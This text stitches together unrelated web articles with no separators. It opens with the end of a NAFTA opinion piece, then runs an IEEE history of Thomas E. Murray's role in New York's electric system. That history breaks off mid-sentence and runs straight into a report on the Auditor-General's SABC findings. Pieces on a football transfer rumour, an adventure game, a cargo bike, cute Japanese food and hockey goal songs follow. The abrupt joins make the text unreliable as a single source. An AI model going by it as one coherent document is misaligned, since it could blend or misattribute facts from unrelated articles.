The other option is to build a cross-border political movement to rewrite NAFTA in a way that gives ordinary citizens rights and labor protections at least equal to the current privileges of corporate investors. For example, all three NAFTA nations should adopt similar high standards for the protection of free trade unions, collective bargaining, and health and safety—and their citizens should have the right to sue other countries for violations.
This would obviously not be easy. But a foundation has already been laid by the growing collaboration among immigrant, trade unionist, human rights, and other activist organizations in all three counties.
If such a movement could succeed in drawing up a new continent-wide social contract, North American economic integration—instead of being a blueprint for worker exploitation—might just become a model for bringing social justice to the global economy.Architect of Power
Thomas E. Murray & New York’s Electrical System
Sir Christopher Wren (1632–1723), the highly acclaimed English architect and builder, designed and constructed many important buildings during his long career. His masterpiece is the present St. Paul’s Cathedral on Ludgate Hill in London, which was under construction from 1675 to 1708. Upon his death in 1723, Wren became the first person interred in St. Paul’s. Inscribed on a tablet mounted above Wren’s unpretentious grave in the south aisle of the crypt are the Latin words “Lector, si monumentum requiris, circumspice”: Reader, if you seek his monument, look around. With these words, the visitor is invited to observe the beauty and majesty of St. Paul’s Cathedral and to contemplate the achievements of its distinguished creator. The same inscription is useful when considering the life and accomplishments of Thomas Edward Murray, the subject of our history offering in this issue of IEEE Power & Energy Magazine. Murray was an outstanding entrepreneur, inventor, engineer, industrialist, and corporate executive who, more than anyone else, was responsible for the development of New York City’s vast electric power system. Moreover, his inventions, electrical products, books, technical papers, speeches, and ideas enjoyed wide circulation within the industry and influenced the creation of modern electric power systems everywhere. Murray is less well known today, largely by his own choice, than are many of his contemporaries. However, our readers need only “look around” to experience and appreciate the many benefits of today’s safe, adequate, and reliable electric energy that Thomas E. Murray helped so much to create. This history article marks Joseph J. Cunningham’s third visit to these pages. Cunningham’s interest in electric power systems dates to his youth when his high school science project “The Theory and Operation of Alternating Current” was awarded a first place gold medal. This success led to a scholarship for the study of physics in college. He has researched and authored numerous booklets, articles, and books on topics such as industrial electrification, electric utility power systems, and electric rail transportation. In 1976, he coauthored a definitive three-volume History of the New York City Subway System. He has also lectured and taught widely on the history of electrotechnology and has consulted on numerous history projects and television productions. We are honored and pleased to welcome Joseph Cunningham back as our guest history author for this issue of the IEEE Power & Energy Magazine. —Carl Sulzberger
Associate Editor, History
The inventors and pioneers of electrical systems are well documented, but little has been written about those entrepreneurs who brought electric power within the reach of the general public. One who stands out among his peers is Thomas E. Murray (1860–1929, see Figure 1). As an executive, engineer, and inventor, Murray’s work shaped the utility system of New York City, yet he remains largely unknown as he shunned publicity because of his deeply held religious beliefs.
Major Achievements
Murray was responsible for the design and construction of nine power stations in New York City, most of which continued to operate well into the second half of the 20th century. Though great achievements in their own right, the stations tend to overshadow Murray’s contributions as an industry leader and inventor. At various times, sometimes simultaneously, he held the position of vice president and/or general manager of most of the major power companies that supplied the city in the early decades of the 20th century. There he was able to direct development and also to apply his inventive talents to areas ripe for innovation. Rarely has any one individual impacted an entire industry so extensively.
From a background of very limited means in Albany, New York, Murray was largely self-taught in mechanics and electricity. Brought to the attention of Anthony N. Brady, a financier and utility magnate in that city, Murray participated in the installation of the first electric light systems there. When Brady sought to bring order to the welter of electric companies that held franchises in New York City, Murray became his technical advisor and ultimately the lead figure in the reorganization plan.
Murray entered the New York City arena in the mid-1890s, a time when the fledgling utility companies employed inefficient localized power stations. As a result, power was expensive, and 775 privately owned power plants, many serving just one customer, were in operation in Manhattan and the Bronx as of the beginning of 1898. The promise of large-scale generation and transmission had been demonstrated by the hydroelectric installation at Niagara Falls in western New York, but none of the New York City companies were able to finance major construction.
The only practical solution was a merger of the power companies to create a market base of sufficient strength to amortize large-scale projects. Brady set about reaching that goal while Murray took on the development of large alternating current (ac) power stations to supplant the small direct current (dc) plants in Manhattan and Brooklyn. Brooklyn, the first to be reorganized, was also the first to have a major power station. The Kings County Electric Light and Power Company opened the Gold Street station in May 1900. Located near the Brooklyn Navy Yard, it supplied power to the Edison Electric Illuminating Company of Brooklyn.
In Manhattan, the task was more complex as a series of mergers had already begun while plans for a new station were being developed. The project, named Waterside for its location on 38th Street and the East River, was directed by Murray with Edison Electric Illuminating Company engineers John Lieb and John Van Vleck in charge of construction. By the time the plant began operating in October 1901, corporate amalgamation had created the New York Edison Company, a subsidiary of the Consolidated Gas Company.
Even then, Murray’s range of activity was wide, for he had designed simultaneously another station, commonly known as the “Central,” located on the Gowanus Canal. This station began operation in March 1901 to supplant small dc stations that powered the elevated and street railway companies held by the Brooklyn Rapid Transit Company. All three of Murray’s initial ac stations were similar, having been built around steam engine/generator sets. All supplied 25-Hz, three-phase power at 6,600 V to the substations that provided dc power to the end users.
Transit lines were universally dc for the simplicity of distribution and the load characteristics of dc series motors. At that time, electric power for general residential, commercial, and industrial customers in urban areas of dense load was also dc. Such use of dc current made possible the use of battery reserves for peak demand, while dc motors were highly developed and dc distribution systems were in place. The employment of ac encountered distribution problems, and ac motors needed further development. The management of reactive power and power factor regulation in ac distribution was still largely experimental, and ac customers had to contend with system instability. Industrial customers often installed motors of greater capacity than needed, and such “overmotoring,” as it was known, exacerbated power factor problems.
The legendary electrical engineer and mathematician Charles P. Steinmetz, whose theorems defined ac practice, stated in 1896 that dc should be installed anywhere the customer base was sufficient to amortize the expense of substations. In New York City, that translated to most of Manhattan below 135th Street and the eastern, central, and downtown areas of Brooklyn. While the substations for dc distribution were expensive, the elimination of localized power stations enabled the reduction of rates by half within a decade. Murray also designed many of the substations for both general utility and railway systems. An average of two dozen private power stations were retired annually. Steinmetz served as president of the American Institute of Electrical Engineers (AIEE) from 1901 to 1902.
As electric power was brought within the reach of the average citizen, the use of residential and commercial devices and appliances expanded. Murray entered that market with numerous patented designs for lights, signs, controls, meters, fuses, and protective components. In 1910, his concern for electrical safety earned him the Edward Longstreth Medal of the Franklin Institute, an award bestowed “for inventions or for meritorious improvements and developments in machine and mechanical processes.” Several patents were shared, some with Van Vleck and Lieb, while the most significant was with Philip Torchio, a future vice president of New York Edison. That was a superior reactance coil design to protect generators from power surges (see Figures 2 and 3). In 1904, Murray and Brady’s son, Nicholas F. Brady, founded the Metropolitan Engineering Company to manufacture and market many of Murray’s inventions.
As the market expanded, additional power stations were constructed for Brooklyn Rapid Transit and New York Edison. Both stations were advanced in comparison to the previous plants. One major change was the substitution of steam turbines for reciprocating steam engines. Murray had installed a turbine at Waterside in September 1904, reportedly funded at his own expense when Brady refused to take the risk of a new technology. Turbines quickly became the standard as even the early turbine units doubled the generating capacity while using the same amount of space as the previous technology.
Turbines were installed in two new Murray stations. The Kent Avenue station of the Brooklyn Rapid Transit Company was opened in Williamsburg, Brooklyn, in 1905 to retire the last dc stations along the routes of the Brooklyn transit lines. The property of the Williamsburg Power Plant Company (a subsidiary of the Brooklyn Rapid Transit Company), the Kent Avenue station utilized a new 11,000-V transmission system, while substation switches permitted operation at either the new or old voltage. Waterside #2 of the New York Edison Company began operation in November 1906 located on the block to the north of station #1. The two Waterside stations were operated in concert under one system operator.
The hybrid ac power plant/dc substation concept brought urban electric utilities into the 20th century, but it was complex and expensive. As power demand grew at an exponential rate, half the cost of expansion represented the investment in the substations and distribution cables. Sustained growth required a simpler system, and innovators foresaw opportunity in the development of ac distribution. Many challenges were to be encountered and decades were to elapse before that goal was achieved.
Building the Future
Much has been written about the so-called “War of the Currents,” but any realistic survey of that era reveals that the conflict was a public relations dispute between competitors and had little impact on engineering decisions. Such decisions were based on practicality and economics. In New York City, major advances were made by a little-known electric utility, the United Electric Light and Power Company (United), a former Westinghouse holding.
When George Westinghouse explored electric power as an outgrowth of his gas light and railway signal business, he was immediately discouraged by the inefficiency of the dc systems he found in Pittsburgh and elsewhere. He pursued development of ac through research and also by the purchase of rights to the transformer patents of the Anglo-French team of Gaulard and Gibbs, William Stanley in the United States, Ernst Siemens in Germany, and others. Westinghouse then purchased United, a company that resulted from the reorganization of several arc light companies, to obtain a foothold in the New York City market. United’s initial 1889 installation of ac in lower Manhattan was less than a success as transformer losses were high.
Technology advanced substantially during the following seven years. Westinghouse had purchased the polyphase system patents of Nikola Tesla, which he then used to develop the comprehensive power system that was installed at Niagara Falls. Thomson-Houston, another company that pioneered the ac transformer, had become the lead partner in the merger that created the General Electric Company (GE). Both GE and Westinghouse cross-licensed the patents held by each. In 1896, United installed a 60-Hz ac system in midtown Manhattan powered by two-phase, 2,300-V lines from a station on 29th Street at the East River. At that time, three-phase lines failed to balance properly single-phase lighting loads and were thus restricted to the delivery of polyphase power to motors and converters.
Innovation was encouraged at United, which was said to be the first company to successfully parallel steam-driven alternators. Engineering was directed by William McElroy, a Westinghouse protégé; management was directed by Frank W. Smith, a businessman who began his career as a 12-year-old office boy with a predecessor company. Despite prevailing opinion, United managed to operate an urban ac system with a fair degree of reliability, most of it along the waterfront areas where the Edison Company had minimal lines due to the low density of load. United lines were extended to the northern end of Manhattan Island in 1899, with an exclusive franchise north of 135th Street, the northern boundary of the New York Edison Company territory in Manhattan.
United was acquired by the Consolidated Gas Company of New York in 1900 but was not included in the merger that created New York Edison. Two reasons for that omission are evident. First was the incompatibility of system frequency. Converters that produced dc then required a low frequency such as 25 Hz, while ac distribution required 40 Hz or more to prevent visible pulsation of lights. Second, there was the potential for United to become the base for efficient 60-Hz generation on a scale that would enable closure of the older and less efficient 60-Hz stations of affiliated companies in the Bronx, lower Westchester, and Queens. Thus the United and New York Edison Companies operated as twins, both under Consolidated Gas Company of New York ownership. That relationship lasted for decades; after 1914 they occupied different portions of the same building with United offices and showrooms at 130 East 15th Street, and New York Edison offices at 4 Irving Place.
United’s business expanded rapidly in the first decade of the 20th century as residential development followed the extension of subway access to northern Manhattan. The United load center followed that move even as the development of animated electrical advertising signs in Times Square opened a new market. There, the complex sign control mechanisms required ac to minimize arcing of the contacts. When demand exceeded capacity, United began taking power from Waterside through frequency and phase changing motor-alternators. In 1907, the city acquired the 29th Street/East River site for Bellevue hospital, and United was forced to rely on dedicated 60-Hz alternators at Waterside. Plans for a large United 60-Hz station were expedited to the extent financially practical.
Even before that station became reality, Murray’s innovation had entered United operations. Industrial load presented a challenge to ac power companies in the form of the reactive power drawn by induction motors that often operated below rated load. Some chose to meter reactive power and charge the customer for low power factor. Others installed at their own expense synchronous compensation, usually on the customer’s premises to avoid imposition of a “wattless” power component on utility lines.
United apparently avoided the problem through the supply of power to the 2,300-V synchronous motors that drove refrigeration compressors in ice cream and ice plants in northern Manhattan, in cold storage warehouses on the lower west side of Manhattan, and in dairies at various locations. Those synchronous motors provided a leading current that offset the lagging current drawn by the induction motors in adjacent factories and so stabilized system power factor locally. Murray was a member of the board of directors of many of the affected refrigeration companies.
By 1912, United was able to finance a new power station named Sherman Creek for an inlet off the Harlem River at 201st Street; operation was initiated in October 1913 (see Figures 4 and 5). An editorial in the 7 February 1914 issue of Electrical World (the leading trade journal), detailed the station as being “characteristic of Murray design” but with innovation in boilers and turbines and also in the layout of electrical buses and switchgear. Initially rated at 120 MW, the same as Waterside #2, Sherman Creek required only one third the number of boilers as did Waterside #2. The editorial closed with the comment that “were it located in some other borough away from the hypnotic spell of the well advertised word ‘Edison,’ United would be recognized as one of the great systems.” It was noted that the company produced more power than was then produced in the entire state of Rhode Island.
Beyond Murray’s supervision and design, his influence could be seen in components of the Sherman Creek plant. It introduced the use of pulverized coal with a crusher patented by Murray. It was probably the first new station to incorporate his water spray system to catch cinders in the coal smoke and to use “pancake” type reactance coils. Both the coils and “expulsion” type safety switches were manufactured by Murray’s Metropolitan Engineering Company, while Van Vleck type switches developed by Murray’s associate were used on the generator fields.
Sherman Creek supplied all the load of United, part of that of the Westchester Lighting Company, part of that of the Bronx Gas and Electric Company territory (east of the Bronx River), and all of the New York Edison territory in the Bronx (west of the Bronx River), all of which being ac territory. There it replaced the Rider Avenue station, located at 140th Street in the Bronx, on which Murray had assisted during its construction when he was first brought to New York City by Brady (see Figure 6). Opened in 1900 after New York Edison acquired the North River Electric Company, the Rider Avenue station was retired in 1914. It was rebuilt as a transformer station and business office described by Murray in his 1926 book Applied Engineering. As Murray planned, the supply from Rider Avenue was replaced by lower cost power from the Sherman Creek Station. Three of the eight units at Sherman Creek formed a dedicated 25-Hz supply to the New York, New Haven and Hartford Railroad through separate buses and switchgear. Sherman Creek was rated 151 MW when the last unit was completed, and the original 7,500-V transmission was supplemented by 13,200-V lines.
Murray maintained a climate that encouraged innovation. In 1917, it was said that Sherman Creek was the first power station to employ an idle alternator as a synchronous capacitor to supply reactive power to regulate system power factor. Electrical World commented often on the progress at United; the 9 September 1922 issue noted that the leadership extended beyond power stations to include distribution concepts. Power companies across the nation at that time were in pursuit of an ideal ac network to divest themselves of the expense and complexity of dc distribution. Studies had determined that dc distribution represented half of the capital investment in a system and incurred a large portion of the operating expense. In April 1922, United initiated an “automatic” network that proved reliable, economical, and efficient in operation. It was the most practical of all the networks then in operation and was the basis for those in use around the world today.
United then connected the networks directly to power station transmission lines without intermediary transformer substations and began substitution of three-phase circuits in place of the outdated two-phase systems. New theorems had eliminated the single-phase balance issue, and the change was universal. Electrical World again noted the progress at United in the 4 February 1928 issue with the comment “Economic justification of alternating-current service has not deterred utilities in seeking means to make it just as reliable as the Edison direct-current network system.” It went on to declare the United Company a pioneer (see Figure 7). United’s automatic network was the key to retiring the expensive and complex dc substations and distribution systems to meet the power demands of the 20th century.
The debut of ac secondary distribution networks produced new challenges in the event of component failure. The Metropolitan Engineering Company (by then exclusively a Murray family firm) sought that business with a network protector designed to prevent component damage in the event of an individual transformer failure. Fully electromagnetic, with no moving parts, it was designed to operate reliably with no maintenance (see Figure 8). Murray’s simple network protector was vital to the reliable operation of ac distribution networks in the event of faults or component failure.
Later Developments
Murray built three stations in the city during the 1920s, each among the largest ever constructed anywhere. The first, Hell Gate, was undertaken by United to supplement Sherman Creek and supply the northern suburbs and Queens. Named for the mariner’s term for the treacherous currents where the East River meets Long Island Sound, Hell Gate opened in November 1921. Planned for a capacity of 280 MW, so rapid was the advance in component design that it was actually rated at 605 MW to make it the world’s most powerful steam electric station upon installation of the last unit in 1928. Hell Gate introduced Murray’s most significant nonelectrical innovation for power stations: the water-cooled steel furnace wall to replace the fire brick refractory furnace wall used previously. The steel wall was comparatively thin, which afforded a substantial increase in furnace capacity and a major reduction in maintenance expense. This Murray innovation became the industry standard after the successful test at Hell Gate.
The second station, the largest of all the Murray stations, was constructed on Hudson Avenue in Brooklyn. At that time, Brooklyn was dependent on an enlarged Gold Street station and a small 1897 plant in Bay Ridge that supplied the ac distribution in southern Brooklyn at 62.5 Hz. That odd frequency was the result of the original design that produced two frequencies (25 and 60 Hz) in one alternator. The Brooklyn companies were reorganized as the Brooklyn Edison Company in 1919, which was directed by Matthew Sloan, a protégé of Murray and Lieb.
A strong proponent of both standardization and large-scale efficiency, Sloan directed in 1923 that the obsolete two-phase ac distribution system be changed to three phase to effect a 50% gain in capacity. He also ordered that ac distribution from banked transformers replace dc wherever practical. The keystone of the modernization was the Hudson Avenue station, located one block from the Gold Street plant. Three separate levels carried the phase buses; the oil circuit breakers extended through the floors to operate all three levels simultaneously. Transmission voltage was doubled to 27,600 V to reduce the number of cable ducts and avoid the need for property easements. The structure included offices and even a “research room” with walls two feet thick to contain any tests that might have gone awry.
Operation commenced in May 1924, and the frequency in Brooklyn was changed to the standard 60 Hz. Planned as a 400-MW station, progress once again led to an increased total. When the last unit was installed in 1932, the station was rated at 770 MW to take the title of the world’s most powerful steam electric station from Hell Gate. The Hudson Avenue station included some 25-Hz generation and also a synchronous-induction frequency changer to connect the two systems and reduce dependence on the Gold Street station. In time, the Hudson Avenue station supplied power to Queens as well as to Brooklyn.
The third and last station constructed under the direction of Murray during the 1920s was located on the East River at 14th Street to supply 25-Hz power to the New York Edison Company. Despite the universal trend toward ac distribution, New York Edison had continued to expand dc distribution with new substations and an increase in transmission voltage from 6,600 V to 11,400 V. After two reconstruction programs at each Waterside plant, an additional station was required. The last and most advanced of the Murray plants was the East River station, which was designed for an ultimate capacity of 1,000 MW, with the first stage rated 200 MW.
As was the case with other major construction projects directed by Murray in the 1920s, East River was undertaken by his engineering firm, Thomas E. Murray Inc. Entering service in November 1926, East River incorporated the latest innovations such as Murray’s steel water-cooled boiler walls and Murray fin-type boiler tubes to maximize heat transfer. Most significant was a provision for 60-Hz generation, a tacit admission by John Lieb and other proponents of dc distribution that the future would see a change to 60-Hz ac. At that time, however, the dc load was such that both frequency changers and 25-Hz generation had been installed at Hell Gate to permit United to assist New York Edison. Synchronous-induction 25/60-Hz frequency changers were also installed at East River and Waterside.
When Sloan was elected president of New York Edison and United in 1927 in preparation for an eventual unification of the systems, he targeted for elimination the complex New York Edison dc distribution system that numbered 41 substations with 282 converters. After extensive review, Sloan cited the United ac network in his November 1928 announcement of a long-term program to change New York Edison dc customers to ac electric service based |
Appointments at the public broadcaster were made to posts that had not been advertised; and those who got the jobs didn’t have the required qualifications or experience – and the SABC failed to procure goods or services through fair procurement processes, as required by law.
These are some of the findings made by the Auditor-General in a final management report on the SABC earlier this year.
The report, dated March 31, is one of the documents that the SABC refused to hand over to the parliamentary ad hoc committee that is now looking into the corporation’s affairs.
The Auditor-General found that effective steps had not been taken to prevent irregular, fruitless and wasteful expenditure, as the Public Finance and Management Act and Treasury regulations require.
And, as a result, “the full extent of the irregular expenditure could not be quantified”, the Auditor-General’s report said.
The Auditor-General, Alice Muller, told Parliament this week about documents detailing R141 million in expenditure that the Auditor-General’s office did not receive from the SABC.
“During the audit process, we hadn’t had any limitations on them refusing to give us documents, except for supply chain management,” Muller said.
The Auditor-General’s report also states that the fruitless and wasteful expenditure disclosed by the SABC did not reflect the full extent of wasteful expenditure. And disciplinary steps were not taken against officials who spent money in this wasteful way, as required by the act.
This week, SABC bosses snubbed the parliamentary inquiry, claiming the hearing was a predetermined affair and a kangaroo court. They also questioned the motives of some MPs on the committee.
The SABC refused to hand over 10 of the 15 documents the committee asked for, citing commercial sensitivities.
Through their lawyers, the SABC executives claimed that some documents were missing, including a management report responding to the Auditor-General’s findings, a document detailing internal audit committee meetings, as well as another document about the appointment of Hlaudi Motsoeneng as the group executive for corporate affairs.
In the management report, the Auditor-General found that the SABC had no formal filing policies and procedures, which, Muller found, had led to a lack of controls to ensure all original documents were maintained and easily accessible.
Other “pertinent shortfalls”, the Auditor-General found, were that the SABC’s recruitment policy did not require competency assessments for skilled positions, nor were criminal record checks conducted on potential employees.
Citizenship verification was also not conducted because the SABC relies on identity documents.
A human resource management assessment found that people were hired for jobs that had not been advertised, and that new appointees did not have the required qualifications or experience. It also found that no performance management system was in place.
On March 31, it was recorded that the SABC’s overall vacancy rate increased from 3.1% in the 2014/15 financial year to 7.4% in 2015/16. The senior management vacancy rate during the same period rose from 8% to 14.7% and the vacancy rate at the finance division stood at 5.07%.
The DA’s Phumzile van Damme said it was concerning that this document hadn’t been tabled before the committee.
WHAT PARLIAMENT HEARD THIS WEEK
. Not one top executive at the SABC had been vetted, said former SABC head of risk management Itane Tsiesi.
. Former group executive officer Phil Molefe refused to sign a R500 000 salary hike for Motsoeneng.
. Motsoeneng allegedly said: “I told you this is not our man; I am going to Pretoria tonight.” This after Molefe refused to sign his R500 000 raise, as requested by then board chairperson Ben Ngubane.
. The Guptas wanted a stake in the SABC’s 24-hour news channel, said Molefe.
. Motsoeneng arrived with one of the Gupta brothers at the SABC, who was keen to do business with the SABC, said Molefe.
. The SABC wrote off R2 billion in outstanding TV licence fees, said former board member Krish Naidoo.
. The SABC board didn’t approve funds that Motsoeneng paid to artists, said Naidoo.
. The SABC board did not make decisions to defend Motsoeneng in court cases, said former board member Vusi Mavuso.
. Motsoeneng’s salary increases were not presented to the board, nor were the bonuses he received, said Mavuso.
. Communications Minister Faith Muthambi arrived at the SABC at about 11pm after the SABC board voted to appoint Motsoeneng as permanent chief operating officer, said Mavuso.
. The MultiChoice deal was pushed through by Motsoeneng when then group CEO Lulama Mokhobo was on leave, said Mokhobo.Despite lifting the Premier League title last season, Shinji Okazaki remains criminally overrated by many. Not by Milan, however.
AC Milan are keen on signing Leicester City striker Shinji Okazaki in order to aid their return towards the top of the Italian game, The Guardian reports.
The Foxes remarkable Premier League triumph last season resulted in a number of their star performers being heavily linked with many of the traditional elite, with Jamie Vardy and Riyad Mahrez both subjected to bids from Arsenal while tireless dynamo N’Golo Kante jumped ship for Chelsea.
However, one name who has remained largely absent from the gossip columns is Japanese slogger Okazaki who, despite netting a rather paltry five goals in 36 Premier League appearances, contributed so much more in both an attacking and defensive sense last season.
Harrying opponents across the park and dropping into midfield when necessary, the Duracell-powered frontman became a converted disciple of Claudio Ranieri’s hard-working, high-pressing approach that forced even the most technically skilled foes into uncharacteristic errors.
However, the arrivals of Nigerian speed machine Ahmed Musa and Algerian targetman Islam Slimani for a club-record fee means Okazaki is no longer an undisputed starter for the defending champions this season, although he offered a stark reminder of his effectiveness and rousing work ethic by scoring in Leicester’s 3-1 win against Crystal Palace last weekend, their most impressive performance of the season to date.
Consequently, Okazaki has been linked with a shock switch to seven-time European Champions Milan, who are slowly showing signs of revival after three seasons mired in mid-table with barely a sniff of European football.
SEE ALSO: Lineker says Leicester look much better with this player in the team
New Milan boss Vincenzo Montella (below) has made it clear that togetherness and collective spirit will undermine their pursuit of an overdue return to the glory days and Okazaki, though hardly a natural fit for a club who counts the likes of Marco Van Basten and Andriy Shevchenko among its long list of legends, could prove an excellent example to the club’s promising young talents.Randal's Monday, described as a 'point and geek adventure game,' has been trying hard to score geek culture points and the inclusion of cast from the cult hit Clerks goes a long way to adding geek credibility to the project.
Jeff Anderson mid-take on Randal's Monday
Jason Mewes, who has played the mouthy Jay to Kevin Smith's Silent Bob on numerous occasions, will reprise the iconic role. The cameo will feature Jay and Silent Bob hanging around an alley, discussing aspects of the Clerks movies that made them famous.
Randal's Monday is aiming to strike a chord with the hordes of gamers who relate to geek culture, including huge doses of nostalgia via retro consoles and old TV show references.
It all sounds great on paper, but any misstep with such beloved material will be harshly judged. Nexus Game Studio's appear to be showing the target audience justified respect and publishers Daedalic Entertainment are a by-word for quality adventure games, so chances are good that this will be near the mark if not a bullseye.
Want to see more on Randal's Monday: Daedalic prepare a feast of new playable delights for Gamescom 2014
Online EditorsBullit Cargo Bike: Sporty And Stylish Utility Bicycles
Got a heavy load to transport, but still insist on pushing pedals? Your persistence is admirable and should be rewarded with a Bullit Bike, an extra-long cargo bicycle with spiffy good looks that won't cramp your style.
Sporty looks and outstanding utility rarely manage to come together, especially in the world of mechanical rides. That's why these long-wheelbase units from Larry vs Harry offer a tremendous upside to your daily errands, whether that involves delivering large packages or giving your mate a ride to the subway when his car breaks down (not sure if that's legal in your area, though).
The Bullit is available in thirteen different versions, all built off the same stretched frame, with differences mostly in brake, gear and color configurations. Each one sports hardened aluminum tubing (which helps keep the bike just a few kilos heavier than regular two-wheelers), stainless steel discs, puncture-proof Schwalbe tires and double-bound aluminum rims. Models include the Bullit Classic (which comes with a hydraulic front brake and 7-speed SRAM Truvativ crankshaft), the Clockwork (pictured above, with an 8-gear Shimano Alfine hub and Shimano Alfine hydraulic brakes) and the Milk Plus (same system as the Clockwork, with a milky white color and a Chuck Berry likeness on the frame).
Measuring the same width as a regular bike, it shouldn't pose much problems for regular cyclists. In fact, the front dock seems much easier to handle than other cargo bikes, which chooses to outfit the load behind you - not the most confidence-inspiring design by a large measure.
The Larry vs Harry Bullit Bike seems available strictly in Europe for now. Price starts at €1800 ($2,570). Now, I'd like to see someone do freestyle on this thing.
[Bullit Bike via Bike Hugger]In Japan, Food Can Be Almost Too Cute To Eat
Hide caption Hannari Tofu is a character who shows up on a range of plush merchandise. Previous Next Satorare/Flickr
Hide caption To-fu Oyako is a soybean-curd-inspired line of products, including bags, planners and pillows. Previous Next StreetFly JZ/Flickr
Hide caption A kyaraben, or character bento, inspired by characters from the anime Yondemasuyo, Azazel-san. Previous Next Saotin/Flickr
Hide caption Two of the heroes from the anime series Go! Anpanman. The head of Shokupanman (left) is made out of white bread. Anpanman (right) is named after a Japanese sweet roll stuffed with red bean paste. Previous Next St Stev/Flickr
Hide caption Food imitates art imitating food: a pancake shaped to resemble Anpanman's sweet roll head. Previous Next yoppy/Flickr 1 of 5 i View slideshow
From an early age, Japanese kids are taught to "eat with your eyes," and this emphasis on the visual delights of food can be found in many aspects of Japan's vaunted culture of cute.
Take children's television, for example. Some of the most beloved cartoon characters in Japan are based on food items.
One favorite is Anpanman, or "Bread Man" — a superhero whose head is made out of a sweet roll filled with red bean paste (yeah, we're a bit baffled, too). Anpanman spends most of his time running around, saving starving children by letting them take bites out of his oh-so-delicious head. His friends include Shokupanman, whose head is made from a piece of sliced white bread, and Currypanman, whose head is made from a piece of — you guessed it — curry-filled bread.
This obsession with cute food manifests itself in all sorts of ways. Take Hannari Tofu — the cutest chunk of soybean curd you're likely to encounter. The character pops up on a range of plush merchandise, from stuffed animals to key holders.
Debra Samuels, a chef and author of My Japanese Table, used to live in Japan with her family. She says it didn't take her long to realize how tightly everyday life revolved around visuals, especially when it came to food.
After her young son started complaining that the peanut-butter-and-jelly sandwiches she was packing for him weren't "cute enough" for kindergarten, Samuels embraced the Japanese food aesthetic.
She began carving apple wedges into the shapes of bunnies. She added "baloney bangs" to sandwiches with faces.
"The first thing you do when you look at something is to see whether you want to eat it or not. It's very important in Japanese culture," she tells All Things Considered host Audie Cornish. "Kids learn this from a very early age."
And from an early age, Japanese kids also get some pretty excellent school lunches, called kyushoku. Served to all first- through sixth-graders, these standardized meals serve a similar purpose as school uniforms. As Samuels explains, "Everybody gets the same lunch. There are kids that are traumatized because their lunches are not as cute as their neighbors.' "
These school lunches are locally grown and usually made from scratch. They're so yummy that, as The Washington Post reported earlier this week, some kids ask their parents to re-create the meals at home. And they're healthful, too, which has encouraged some parents to ring up schools for the recipes. It's hard to imagine the same thing happening in the U.S.
By the way, if you're curious about how school lunches compare around the world, check out this slide show from our friends at Shots. Eat your eyes out, folks!Like any bright new idea to ratchet excitement value and propel sports fans out of their seats, this one came from baseball.
Ryan Nicholas, senior director of content and game entertainment for the Vancouver Canucks and self-confessed baseball nut, wished to incorporate the spirit of the batter’s individual walk-up song into the Canucks’ in-game presentation. So he lobbed the idea at his bosses, and they bit.
For the third consecutive season, Vancouver cues up personalized goal songs—tunes hand-picked by each player—when one of the good guys scores.
Alex Edler rides the lightning with Metallica. Bo Horvat puts on for his city just like Young Jeezy. And, when the stars align, Alex Biega has been known to let the dogs out.
“Goal songs are always contentious. Half the people are always mad at you,” Nicholas says. “In general, the response has been more positive than negative.”
Hockey and music are my twin passions. I’m all for the personalized goal song, as it gives the rink a tiny peek into the player’s personality and splashes unscripted colour on what is too often a paint-by-numbers arena soundtrack.
“Lose Yourself,” “Sweet Caroline,” and “The Hockey Song” are all safe and fine, but we need a few more musical curve balls and a little less “Jump Around.” (Or give us the Pete Rock remix once in a while.)
The audacity of a single player requesting a tune for his own goal—the result of a collaborative effort between six men playing their part—flies against the grain of hockey’s name-on-the-front culture. Like any heat that has emerged from Quincey Jones’ or Kanye West’s kitchen, goals are the product of a team effort. Why should one guy scoop all the royalties?
“I’m a little more traditional. I like the team song,” says Sidney Crosby, who’d be a perfect match for a DJ Khaled anthem. “I link certain songs with certain teams.”
Crosby’s right.
“Chelsea Dagger” is the Chicago Blackhawks. The Wild’s recent decision to blare Prince’s “Let’s Go Crazy” is a perfect geographical tribute. And I’m gradually finding it easier to associate “Let Me Clear My Throat” with Jack Eichel’s Buffalo Sabres instead of a couple regrettable 1:54 a.m. dance-floor misadventures at my college local.
But many NHL teams change their goal song every couple years or so, and when you consider the great canon of potential jock jams at our disposal, there has been too much copycatting between teams (see: Glitter, Gary).
“You look at baseball when they have their walk-up song, even basketball where they have music playing throughout the game, it’s so much more fun,” says Michael Del Zotto. The Canucks defenceman is a part-time DJ on the side. He says he’d like to mash up his own mix for when he lights the lamp at Rogers Arena.
“It adds another element to the game, keeps fans happy and ups the entertainment factor. Keep them entertained. I think it’s cool, but I’m only one voice.”
Plenty of other voices are singing in chorus with Del Zotto, however, when it comes to the idea. We already know which songs we’d choose for Nazem Kadri, Nikita Kucherov, and Evander Kane. Auston Matthews is a no-brainer.
Jordan Subban: “That’d be dope. I had 16 goals last year. I’d have 16 different Drake songs.”
Brent Burns: “I love it. This is entertainment. I grew up watching hockey and loving it. It’s the best game on earth, so I think for fans, anything they can do to make it more accessible and more entertaining, why not? It should be fun. It’s a business, but we might as well have fun doing it. The guys have good personalities and like to have fun.”
Max Pacioretty: “That’s cool. I love it. Whenever you go to a baseball game, you’re like, ‘I like that guy because of his walk-up song.’ But, y’know, hockey is the old-man sport. It’s all team driven, which I agree with too. It’s changing. Younger guys coming in, feeling more comfortable. It’s changing, in a good way.”
The personalized goal song is not the easiest idea to execute, however.
When Nicholas brought the idea to the dressing room, suggesting they select a song high in energy and low in cuss words, most of the North Americans loved the concept. Many of the Europeans were indifferent, and a few skaters “didn’t give a crap,” leaving Nicholas to pick for them.
Loui Eriksson got saddled with “Louie, Louie,” which we must only assume is an inside joke. Chris Tanev originally chose Nelly’s “Hot in Herre,” then upgraded to DMX’s “Party (Up in Here),” a couple party anthems that cracked Nicholas up because “he’s such a quiet, unassuming guy.”
Derek Dorsett didn’t care about his music, until Nicholas blasted “Whoop, There It Is,” at which point he pulled the needle in favour of Black-Eyed Peas’ “I Got a Feeling.”
“Country music makes people the most upset,” says Nicholas, dropping general life wisdom.
Specifically, he’s referring to Brandon Sutter’s goal song choice, Garth Brooks’ “Callin’ Baton Rouge,” a fiddle fest that has served as the target of many a mean tweet:
Part of the joy for Vancouver fans is discovering which tune is matched to their favourite player. Spoiler alert: Brendan Gaunce’s song, Def Leppard’s “Pour Some Sugar on Me,” has gone unplayed for two seasons now. “We’re dying to play it,” Nicholas says, “but he’s only scored on the road.”
